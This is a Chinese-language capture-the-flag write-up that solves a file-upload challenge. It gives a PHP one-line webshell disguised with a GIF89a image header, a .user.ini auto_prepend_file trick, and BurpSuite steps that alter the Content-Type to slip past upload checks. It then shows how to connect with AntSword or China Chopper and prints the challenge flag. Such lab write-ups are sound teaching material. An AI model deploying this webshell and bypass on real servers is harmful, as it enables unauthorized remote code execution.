很明显的文件上传题
如果你直接传一句话木马是不行的,无论是图片格式还是文本格式,都会被检测到
要么提示文件有问题
要么提示文件类型有问题
这里需要绕过
第一点
一句话木马里肯定不能有php字样, <?php @eval($_POST['1']);?> 这种是不行的
可以用这种 <?=eval($_REQUEST['cmd']);?>
第二点
在文件头部添加一个图片的文件头来绕过
合起来一句话木马内容就是
GIF89a
<?=eval($_REQUEST['cmd']);?>
将这个文本存为.jpg格式
第三点
这里还需要提前上传一个.user.ini文件
内容如下
GIF89a
auto_prepend_file=a.jpg
我们可以借助.user.ini让所有php文件都“自动”包含某个文件,这个文件可以是一个正常php文件,也可以是一个包含一句话木马的webshell。
OK,做好这三点后,我们需要先上传.user.ini文件,再上传a.jpg,最后用蚁剑或者菜刀去连接
我们可以看到直接上传.user.ini也是不行的
这里需要先用BurpSuite抓包,修改类型后再放包,便可上传成功
下面先简单介绍一下用BurpSuite进行简单的抓包、改包、放包
抓包:
在Proxy里点击Open browser
再将intercept打开(拦截请求包)
当我们访问这个网站时就会有反馈,这里先直接放,一直点击Foward就好
页面加载出来后,我们在这里上传刚才做好的.user.ini文件
改包:
将 Content-Type: application/octet-stream 修改为 Content-Type: image/jpg
放包:
修改后点击两次Foward放包,可以看到文件上传成功
接下来我们上传a.jpg,这个无论在哪里都可以直接上传
(建议用火狐浏览器,方便找到文件上传到哪里去了,这个路径问题很重要,路径没对一会儿用蚁剑连会提示返回值为空)
上传成功
用F12打开调试器选择网络查看上传文件的地址 (如果是空白就点击重新载入)
这个地址真的很重要!!!不能用那个网站本身的网址,也不能用Referer的那个
正确地址 http://223.112.5.156:57370/uploads/index.php
错误地址 http://223.112.5.156:57370/index.php
最后就是用蚁剑或者菜刀来连接了
右键添加数据
蚁剑可以先测试一下连接
菜刀直接添加
都是在根目录下拉找到flag文件的
cyberpeace{9cf9f5742497791c16630fdf328ecf60}
下面是用错误地址的报错